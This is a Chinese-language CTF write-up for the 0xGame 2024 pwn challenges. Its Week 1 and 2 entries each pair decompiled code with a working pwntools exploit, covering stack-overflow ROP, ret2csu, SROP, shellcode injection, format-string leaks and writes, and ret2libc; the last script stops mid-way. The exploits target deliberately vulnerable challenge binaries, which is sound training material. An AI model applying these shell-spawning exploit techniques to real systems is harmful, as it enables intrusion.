0xGame 2024 Pwn Writeup

0xGame 2024 Pwn Writeup

Week 1

test your nc

没啥好说的, nc 直接连就行

test your pwntools

pwntools 计算题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *

context.log_level = 'debug'

r = remote('47.97.58.52', 40010)

for _ in range(100):
    r.recvuntil(b'====\n')
    expr = r.recvuntil(b'=', drop=True)
    ans = eval(expr)
    r.sendline(str(ans).encode())

r.interactive()

stack overflow

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_1/stack_overflow/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  signal(11, getflag);
  puts("Alice has made a new doll.");
  puts("What name do you want to give her:");
  gets(s);
  if ( strlen(s) <= 0x27 )
    puts("She may like a longer name.");
  return 0;
}

简单栈溢出, ret2text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# p = process('./pwn')
p = remote('47.97.58.52', 40001)

ret = 0x4012C2 
payload = b'a' * 40 + p64(ret)

p.sendline(payload)
p.interactive()

positive

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_1/positive/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[40]; // [rsp+0h] [rbp-30h] BYREF
  char buf[4]; // [rsp+28h] [rbp-8h] BYREF
  size_t nbytes; // [rsp+2Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("The new doll can walk now!");
  puts("How many steps do you wang her to walk:");
  read(0, buf, 4uLL);
  LODWORD(nbytes) = atoi(buf);
  if ( (int)nbytes > 16 )
  {
    puts("She's just a child .She can't walk too long!");
    exit(0);
  }
  puts("And you can set to leave something while she's walking:");
  read(0, v4, (unsigned int)nbytes);
  return 0;
}

和上题一样也是 ret2text

这里读入的 nbytes 在判断的时候用的是 int, 后续 read 时反而是用了 unsigned init, 存在整数溢出漏洞, 因此先输入 -1 就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 40002)

p.sendlineafter(b'walk:\n', b'-1')

ret = 0x40126f
payload = b'a' * 0x38 + p64(ret)

p.sendlineafter(b'walking:\n', payload)
p.interactive()

find_me

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-14h]
  unsigned int seed; // [rsp+10h] [rbp-10h]
  int i; // [rsp+1Ch] [rbp-4h]

  init(argc, argv, envp);
  seed = time(0LL);
  puts("Can you find THE DOLL among so many similar dolls ?");
  srand(seed);
  v4 = rand() % 100;
  for ( i = 0; i < v4; ++i )
    open("/fake_flag", 0);
  open("/flag", 0);
  puts("Your turn!");
  close(1);
  do_bad();
  return 0;
}

do_bad

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void do_bad()
{
  int num; // eax
  int v1; // eax
  int v2; // eax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 1; ++i )
  {
    num = read_num();
    if ( num )
    {
      if ( num == 1 )
      {
        v2 = read_num();
        write(v2, &what, 0x50uLL);
      }
    }
    else
    {
      v1 = read_num();
      read(v1, &what, 0x50uLL);
    }
  }
}

程序会随机 open 一些假的 /fake_flag, 然后 open 真的 /flag, 注意此时的 flag 并没有 close 因此 fd (File Descriptor) 还是存在的

然后 do_bad 函数给了你两次调用 read 和 write 的机会

首先这里用了以当前时间为种子的伪随机数, 存在被预测的风险, 利用 ctypes 库可以在 Python 中调用 C 语言函数

然后后续通过 read 将真正的 flag 读入, 再通过 write 写入 stderr (注意 stdout 被程序 close 了 close(1))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import ctypes
import time

context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 40003)

lib = ctypes.cdll.LoadLibrary('./libc.so.6')
seed = lib.time(0)
lib.srand(seed)
v = lib.rand() % 100

fd = 3 + v

p.recvuntil(b'Your turn!\n')
p.sendline(b'0')
time.sleep(0.1)

p.sendline(str(fd).encode())
time.sleep(0.1)

p.sendline(b'1')
time.sleep(0.1)

p.sendline(b'2') # stderr
time.sleep(0.1)

p.interactive()

程序启动时默认会有三个 fd: 0 1 2, 分别对应 stdin stdout stderr, 因此后续通过 open 打开的其它文件, fd 是从 3 开始的

where_is_my_binsh

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_1/where_is_my_binsh/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

  init(argc, argv, envp);
  puts("Thers's no more THAT THING in doll house.");
  puts("If you want it ,then you have to create it:");
  read(0, &something, 0x10uLL);
  puts("Do you find what you want now ?");
  read(0, buf, 0x40uLL);
  return 0;
}

存在后门函数, 但是没有了 /bin/sh, something 位于 bss 段

因此可以将 /bin/sh 写入 bss 段, 然后找一个 pop rdi ; ret 的 gadget, 最后 call _system 即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 40004)

system_call = 0x401237
pop_rdi_ret = 0x401323
bss_addr = 0x404090

payload = flat([
    b'a' * 0x18,
    pop_rdi_ret,
    bss_addr,
    system_call
])

p.recvuntil(b'it:\n')
p.sendline(b'/bin/sh')

p.recvuntil(b'now ?\n')
p.sendline(payload)

p.interactive()

ret2csu

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_1/ret2csu/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  init(argc, argv, envp);
  write(1, "It's night now.\n", 0x11uLL);
  write(1, "The little doll is tired, say goodnight to her~\n", 0x31uLL);
  read(0, &something, 0x10uLL);
  write(1, "She looks like she's asleep.\n", 0x1EuLL);
  write(1, "What else do you want to do?\n", 0x1EuLL);
  read(0, buf, 0x60uLL);
  if ( strlen(buf) > 0x10 )
  {
    write(1, "Take easy. Don't wake her up. Let's go.\n", 0x29uLL);
    exit(0);
  }
  write(1, "Her sleeping face is lovely, right? Time to go.\n", 0x31uLL);
  return 0;
}

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#ret2csu

后门函数给了一个 execve, 但是用 ROPgadget/ropper 找不到传递 rdx 的 gadget

这道题的思路是 ret2csu, __libc_csu_init 是用来对 libc 进行初始化操作的, 一般情况下只要是用到了 libc 的程序基本上都有这个函数, 因此它也是 x64 下一个很通用的 gadget

ret2csu 按我的理解就是一种可以控制 rdi rsi rdx 等一些寄存器的手段 (x64 调用约定), 当程序中找不到合适的 gadget 时, 便会使用 ret2csu

loc_4013A0 部分为 gadget 2, loc_4013B6 部分为 gadget 1

用 gadget 1 可以控制 rbx rbp r12 r13 r14 r15 这几个寄存器, 然后通过 ret (结合 ROP) 可以继续跳转到 gadget 2

在 gadget 2 中又可以控制 rdx rsi edi (虽然 edi 大小只有 32 位, 但其实大部分参数高 32 位都是 0, 因此可以近似的认为控制 rdi)

同时注意 gadget 2 中会调用一次 call, 即 call [r15+rbx*8], 因此控制好 r15 和 rbx 就可以跳转到程序的其它部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 40005)

# rdi = /bin/sh
# rsi = 0, rdx = 0
call_execve = 0x40126d
bss_binsh = 0x404090
bss_execve = bss_binsh + 8

csu_gadget_1 = 0x4013ba
csu_gadget_2 = 0x4013a0

# rbx + 1 = rbp

payload = flat([
    b'aaaaaaa\0',
    b'a' * 0x10,
    csu_gadget_1,
    0, # rbx
    1, # rbp
    bss_binsh, # r12 -> edi
    0, # r13 -> rsi
    0, # r14 -> rdx
    bss_execve, # r15
    csu_gadget_2,
])

p.recvuntil(b'her~\n')
p.send(b'/bin/sh\0' + p64(call_execve))

p.recvuntil(b'do?\n')
p.sendline(payload)

p.interactive()

exp 先将 /bin/sh 和 call execve 的地址写入 bss 段, 然后通过 ret2csu 控制 edi, rsi, rdx 寄存器, 最后在 gadget 2 部分调用 call, 跳转到 execve 实现 RCE

Week 2

SROP

1
2
3
4
5
6
7
8
[*] '/home/ubuntu/Pwn/0xGame/week_2/srop/pwn'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
signed __int64 sub_401021()
{
  signed __int64 v0; // rax
  signed __int64 v1; // rax
  size_t v2; // rbp
  char v4[80]; // [rsp+0h] [rbp-50h] BYREF

  v0 = sys_write(1u, buf, 7uLL);
  v1 = sys_read(0, v4, 0x400uLL);
  v2 = -1LL;
  do
    ++v2;
  while ( v4[v2] );
  return sys_write(1u, v4, v2);
}

程序只有很小一段, 考点是 SROP (Sigreturn Oriented Programming)

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

简单来说当栈溢出的空间足够大时, 可以利用 sigreturn syscall 恢复所有寄存器的状态 (通过存储在用户态栈上的 Signal Frame, 长度为 248), 通过多个 Signal Frame 可以实现类似 ROP Chain 的效果, 因此被叫做 SROP

CTF Wiki 里对于 SROP 的例题, 其 exp 构造是非常精巧的, 而这道题相对来说会更简单一些, 不需要泄露任何地址

ROPgadget/ropper 找不到任何能控制 rax 的 gadget, 因此这里对于 rax 的控制就需要用到 sys_write, 该函数会将写入的字符数量 (\x00 之前) 返回, 而众所周知函数的返回值就使用 rax 传递的

因此通过控制字符串的数量, 就可以控制 rax, 进而调用 sigreturn syscall

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from time import sleep

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 42011)

syscall_ret = 0x040100a
buf = 0x403000 - 0x200
main_addr = 0x401021

read_frame = SigreturnFrame()
read_frame.rax = 0
read_frame.rdi = 0
read_frame.rsi = buf
read_frame.rdx = 8
read_frame.rsp = buf
read_frame.rip = syscall_ret

payload = flat([
    b'a' * 15 + b'\x00',
    b'b' * 64,
    syscall_ret,
    read_frame
])

p.sendlineafter(b'> ', payload)
sleep(0.1)

p.send(p64(main_addr))
sleep(0.1)

execve_frame = SigreturnFrame()
execve_frame.rax = 59
execve_frame.rdi = 0x402f08 # gdb
execve_frame.rsi = 0x0
execve_frame.rsp = buf
execve_frame.rip = syscall_ret

payload = flat([
    b'a' * 15 + b'\x00',
    b'b' * 64,
    syscall_ret,
    execve_frame,
    b'/bin/sh\x00',
])

p.sendafter(b'> ', payload)
sleep(0.1)

p.interactive()

这里需要构造两个 SigreturnFrame

第一个 SigreturnFrame 用于调用 read syscall 将后续的 payload 存入 data 段的 buf, 同时修改了 rsp 和 rip, rsp 指向 buf 实现类似栈迁移的效果, rip 控制 sigreturn 完成后执行的下一个指令

read 调用后会将 main 函数的地址存入 buf 上, 后续 ret 时便会重新执行一遍 main 的流程

第二个 SigreturnFrame 用于调用 execve syscall, 因为已经进行了栈迁移, 所以栈地址是已知的, 进而就可以知道传入 payload 的 /bin/sh 的栈地址 (可用 gdb 调试), 即 rdi, 后续再控制其它几个寄存器就行

Shellcode-lv0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int i; // [rsp+Ch] [rbp-14h]
  char *buf; // [rsp+10h] [rbp-10h]

  bufinit(argc, argv, envp);
  buf = (char *)mmap((void *)0x20240000, 0x1000uLL, 7, 34, -1, 0LL);
  printf("Show me what you want to run: ");
  read(0, buf, 0x100uLL);
  for ( i = 0; i <= 255; ++i )
    ;
  puts("Well Im kinda lazy, so I'll randomly drop some work......");
  v3 = rand();
  ((void (*)(void))&buf[v3 % 256])();
  return 0;
}

程序会将传入的内容当作 shellcode 执行, 但是会随机的将 buf 的前几段丢弃

可以在 shellcode 前面加入一大段的 nop, 这样即使丢弃了也只是 nop 的部分, 最终仍然能确保 CPU 会滑行到 shellcode 的位置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 42012)

payload = asm(shellcraft.sh()).rjust(0x100, b'\x90') # nop

p.recvuntil(b': ')
p.sendline(payload)

p.interactive()

Shellcode-lv1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int i; // [rsp+Ch] [rbp-14h]
  char *buf; // [rsp+10h] [rbp-10h]

  bufinit(argc, argv, envp);
  buf = (char *)mmap((void *)0x20240000, 0x1000uLL, 7, 34, -1, 0LL);
  printf("Show me what you want to run: ");
  read(0, buf, 0x100uLL);
  for ( i = 0; i <= 255; ++i )
    ;
  puts("Well Im kinda lazy, so I'll randomly drop some work......");
  sandbox();
  puts("Also, no exec for you this time!");
  v3 = rand();
  ((void (*)(void))&buf[v3 % 256])();
  return 0;
}

和上一题类似, 但是把 exec 系列的 syscall 给禁止了

解决办法是 orw, 即 open read write 一套流程走过去把 flag 输出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from re import I
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 42013)

# shellcode = shellcraft.open('/flag') + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100)
shellcode = shellcraft.cat('/flag')

payload = asm(shellcode).rjust(0x100, b'\x91') # xchg ecx, eax

p.recvuntil(b': ')
p.send(payload) # not sendline

p.interactive()

看 writeup 说是把 nop ban 了但好像没有? 不过换成其它的指令也没有影响, 例如 xchg ecx, eax

同时 shellcraft 除了 open read write 以外还有个 cat, 功能等同于 orw

最后发送 shellcode 的时候不要用 sendline, 不然会有奇怪的问题

Syscall playground

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-58h] BYREF
  int v4; // [rsp+Ch] [rbp-54h] BYREF
  unsigned int v5; // [rsp+10h] [rbp-50h] BYREF
  signed int i; // [rsp+14h] [rbp-4Ch]
  int v7; // [rsp+18h] [rbp-48h]
  int avail_buffer; // [rsp+1Ch] [rbp-44h]
  __int64 s; // [rsp+20h] [rbp-40h] BYREF
  __int64 v10; // [rsp+28h] [rbp-38h]
  __int64 v11; // [rsp+30h] [rbp-30h]
  __int64 v12; // [rsp+38h] [rbp-28h]
  __int64 v13; // [rsp+40h] [rbp-20h]
  __int64 v14; // [rsp+48h] [rbp-18h]
  unsigned __int64 v15; // [rsp+58h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  bufinit(argc, argv, envp);
  while ( 1 )
  {
    puts("1. Prepare a buffer");
    puts("2. Recycle a buffer");
    puts("3. Initiate a syscall with glibc wrapper");
    printf("Your choice: ");
    __isoc99_scanf("%d", &v3);
    if ( v3 == 3 )
    {
      puts("Now I will initiate a syscall with glibc wrapper");
      printf("Which syscall do you want to call: ");
      __isoc99_scanf("%d", &v4);
      printf("Input the arguments count: ");
      __isoc99_scanf("%d", &v5);
      s = 0LL;
      v10 = 0LL;
      v11 = 0LL;
      v12 = 0LL;
      v13 = 0LL;
      v14 = 0LL;
      memset(&s, 0, 0x30uLL);
      for ( i = 0; i < (int)v5; ++i )
      {
        printf("Input the argument %d: ", i);
        __isoc99_scanf("%llu", &s + i);
      }
      printf("Initating syscall %d with %d arguments\n", v4, v5);
      v7 = syscall(v4, s, v10, v11, v12, v13, v14);
      printf("Syscall returned with code %d\n", v7);
LABEL_18:
      puts("Invalid choice");
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_18;
      if ( v3 == 1 )
      {
        avail_buffer = find_avail_buffer();
        if ( avail_buffer == -1 )
        {
          puts("No available buffer");
        }
        else
        {
          buffers[avail_buffer] = malloc(0x400uLL);
          printf(
            "Buffer %d is prepared. Size: %d, located at %p\n",
            avail_buffer,
            1024,
            (const void *)buffers[avail_buffer]);
          printf("Input your data: ");
          read(0, (void *)buffers[avail_buffer], 0x400uLL);
          puts("Data is stored");
        }
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_18;
        printf("Which buffer do you want to recycle: ");
        __isoc99_scanf("%d", &v5);
        if ( v5 <= 5 && buffers[v5] )
        {
          free((void *)buffers[v5]);
          buffers[v5] = 0LL;
          printf("Buffer %d is recycled\n", v5);
        }
        else
        {
          puts("Invalid buffer");
        }
      }
    }
  }
}

看起来那么多代码但实际上只是搓了一套调用 syscall 的流程, 直接用 execve 就行

注意需要先申请一段 buffer 存入 /bin/sh 字符串, 然后把这个 buffer 的地址当作 syscall 传入的第一个参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from time import sleep

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 42010)

p.sendlineafter(b'choice: ', b'1')
p.recvuntil(b'located at ')

addr = p.recvuntil(b'\n', drop=True)
p.sendafter(b'data: ', b'/bin/sh\0')
sleep(0.1)

p.sendlineafter(b'choice', b'3')
sleep(0.1)

p.sendlineafter(b'call: ', b'59')
sleep(0.1)

p.sendlineafter(b'count: ', b'3')
sleep(0.1)

rsi = b'0'
rdx = b'0'
rdi = str(int(addr, 16)).encode()

for i in [rdi, rsi, rdx]:
    p.sendlineafter(b': ', i)
    sleep(0.1)

p.interactive()

boom

init

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 init()
{
  int fd; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  fd = open("/dev/random", 0);
  if ( fd < 0 )
  {
    puts("open /dev/random failed");
    exit(1);
  }
  if ( (int)read(fd, secret, 0x30uLL) < 0 )
  {
    puts("read /dev/random failed");
    exit(1);
  }
  return __readfsqword(0x28u) ^ v2;
}

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("The doll seems to have its own mind.");
  puts("Can you guess what's her thinking?");
  read(0, buf, 0x30uLL);
  if ( strcmp(buf, secret) )
  {
    puts("No no no~");
    puts("You're unable to know her heart yet.");
    exit(1);
  }
  puts("WOW,you can get her!");
  puts("Here's your gift.");
  system("/bin/sh");
  return 0;
}

程序会随机生成一个 secret 字符串, 输入的 buf 必须和 secret 相等才能 getshell

但这里用了 strcmp, 因此就会存在 \x00 截断的问题, 在生成 secret 时会有 1/256 的概率生成一个以 \x00 开头的字符串, 进而绕过 strcmp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

while True:
    # p = process('./pwn')
    p = remote('47.97.58.52', 42000)

    p.sendafter(b'thinking?', b'\x00' * 0x30)
    p.recvline()
    res = p.recvline()

    print(res)
    if b'WOW' in res:
        break

    # p.kill()
    p.close()

p.interactive()

ez_format

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_2/ez_format/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  open("/flag", 0);
  read(3, &flag, 0x30uLL);
  close(3);
  puts("We've told her a SECRET.");
  puts("Can you talk to her and get it ?");
  while ( 1 )
  {
    printf("Say something:");
    read(0, buf, 0x20uLL);
    puts("\nShanghai!");
    printf(buf);
    puts("Shanghai!\n");
  }
}

patchelf 替换 ld 和 libc

1
2
3
# 注意指定的 so 前面需要加 ./
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./pwn
patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn

格式化字符串漏洞, 需要泄露 bss 段上的 flag

程序开启了 PIE, data 段和 code 段都会随机化, 因此需要先泄露 PIE 基址

32 位格式化字符串的参数全部都会从栈上取值, 64 位前五个参数则会先从 rsi rdx r10 r8 r9 取值, 然后再从栈上取

不过这里有个注意点, 当输入的格式化字符串长度不大于 64 位时, 会将字符串直接放到 rdi, 例如这里输入的 %7$p

否则的话, 仍然会将字符串放到栈上, 然后在 rdi 内存一个指向栈上的指针, 例如这里输入的 aaaabbbb\n

因此先输入 %7$p, 第七个位置是 __libc_csu_init 的地址, 泄露之后可以计算出 PIE 基址

然后输入 %7$saaaa<bss flag addr>, 字符串会被分配到栈上, 地址在第七个位置, 进而读到 flag 内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 42001)
e = ELF('./pwn_patch')

payload = b'%7$p'

p.recvuntil(b':')
p.sendline(payload)
p.recvuntil(b'Shanghai!\n')

lib_csu_init_addr = int(p.recv(14), 16)
print('__libc_csu_init addr', hex(lib_csu_init_addr))

pie_base_addr = lib_csu_init_addr - e.symbols['__libc_csu_init']
bss_flag_addr = pie_base_addr + 0x40c0 

print('pie base addr:', hex(pie_base_addr))
print('bss flag addr:', hex(bss_flag_addr))

payload = b'%7$saaaa' + p64(bss_flag_addr)

p.recvuntil(b':')
p.sendline(payload)

p.interactive()

fmt2shellcode

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_2/fmt2shellcode/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Try to teach her to do something.");
  while ( 1 )
  {
    printf("Say something:");
    read(0, buf, 0x20uLL);
    if ( !strcmp(buf, "stop") )
      break;
    puts("\nShanghai!");
    printf(buf);
    puts("Shanghai!\n");
  }
  if ( key == 26318864 )
  {
    puts("She understand you and will do what you say!");
    read(0, (void *)0x114514000LL, 0x50uLL);
    MEMORY[0x114514000]();
  }
  puts("Goodbye~");
  return 0;
}

格式化字符串漏洞, 需要修改 key 的值, 然后执行 shellcode

思路同上一题, 先泄露 __libc_csu_init 计算 PIE 基址, 然后利用 %hhn 进行任意地址写, 每次写 1 个字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from time import sleep

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 42002)
e = ELF('./pwn_patch')

def fmt(prev, word, index):
    fmtstr = b''
    if prev < word:
        result = word - prev
        fmtstr = b'%' + str(result).encode() + b'c'
    elif prev == word:
        pass
    else:
        result = 256 + word - prev
        fmtstr = b'%' + str(result).encode() + b'c'
    
    fmtstr += b'%' + str(index).encode() + b'$hhn'
    return fmtstr

payload = b'%7$p\x00'

p.recvuntil(b':')
p.send(payload)

p.recvuntil(b'Shanghai!\n')
libc_csu_init_addr = int(p.recvuntil('Shanghai', drop=True), 16)
pie_base_addr = libc_csu_init_addr - e.symbols['__libc_csu_init']
key_addr = pie_base_addr + 0x04068

print('__libc_csu_init addr:', hex(libc_csu_init_addr))
print('pie base addr:', hex(pie_base_addr))
print('key addr:', hex(key_addr))

#        0x00114514
target = 0x01919810

for i in range(8):
    payload = fmt(0, (target >> i * 8) & 0xff, 8).ljust(0x10, b'a') # ljust unit must 16 bits
    payload += p64(key_addr + i)

    p.recvuntil(b':')
    p.send(payload)
    sleep(0.1)

p.recvuntil(':')
p.send('stop\0')

p.recvuntil('say!')
p.send(asm(shellcraft.sh()))

p.interactive()

这里需要注意, 在进行任意地址写时, 生成的 payload 需要 ljust 到 16 位, 以使得格式化字符串分配在栈上

ret2libc

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_2/ret2libc/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
1
2
3
4
5
6
7
ssize_t vuln()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Does a dynamic doll need libc ?");
  return read(0, buf, 0x100uLL);
}

常规的 ret2libc, 第一次泄露 puts GOT 然后跳回到 main, 第二次构造 ROP 执行 system, 注意 16 字节对齐

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 42003)

e = ELF('./pwn_patch')
libc = ELF('./libc.so.6')

puts_got = 0x404018
puts_plt = 0x401070

pop_rdi_ret = 0x4012c3
ret = 0x40101a
main_addr = e.symbols['main']

payload = flat([
    b'a' * 0x28,
    pop_rdi_ret,
    puts_got,
    puts_plt,
    main_addr
])

p.recvuntil(b'?\n')
p.sendline(payload)

